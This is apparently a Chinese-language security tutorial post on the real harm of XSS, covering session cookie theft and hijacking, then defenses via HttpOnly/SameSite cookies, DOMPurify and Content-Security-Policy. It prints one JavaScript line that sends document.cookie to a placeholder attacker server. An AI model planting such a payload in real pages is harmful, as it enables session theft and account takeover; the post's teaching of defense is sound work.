💡 XSS 的實際危害:Cookie 竊取與 Session 劫持
在前幾天(Day 16)我們介紹了跨站腳本攻擊(XSS)的三大類型(Reflected、Stored、DOM-based)。今天我們將深入探討攻擊者在成功注入 JavaScript 之後,究竟能達成什麼樣的破壞,以及開發者該如何從根本上進行防禦。
當攻擊者透過 Stored XSS 成功將惡意腳本植入受害者常造訪的頁面時,瀏覽器會毫不懷疑地執行這段程式碼。其中最經典的攻擊手法就是竊取使用者的 Session Cookie。
透過執行以下 JavaScript 程式碼:
JavaScript
new Image().src = 'http://attacker-server.com/log?cookie=' + encodeURIComponent(document.cookie);
受害者的瀏覽器會自動把包含登入憑證的 document.cookie 發送到攻擊者的伺服器。攻擊者只要拿到這串 Cookie,就能直接進行 Session 劫持(Session Hijacking),偽裝成該使用者登入系統,甚至完全接管帳號。
🛡️ 如何徹底防禦 XSS 攻擊?
防禦 XSS 不能單靠一種手段,必須從「Cookie 保護」、「輸入輸出處理」與「瀏覽器策略」多管齊下:
HTTP
Set-Cookie: session_id=xyz123; Secure; HttpOnly; SameSite=Strict
效果: 當 Cookie 被標記為 HttpOnly 後,任何 JavaScript(包含惡意 XSS 腳本)都無法透過 document.cookie 讀取它,這能直接阻斷絕大多數藉由 XSS 竊取 Session 的攻擊路徑。
DOM Purify: 若應用程式允許使用者輸入部分 HTML(例如富文本編輯器),應使用受信任的清洗庫(如 DOMPurify)來過濾掉危險的標籤與屬性(如 、onerror)。
HTTP
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com;
效果: 即使網頁中不小心被注入了內聯(Inline)的 alert(1),瀏覽器也會因為違反 CSP 規則而拒絕執行該腳本,是防禦 XSS 的最後一道堅固防線。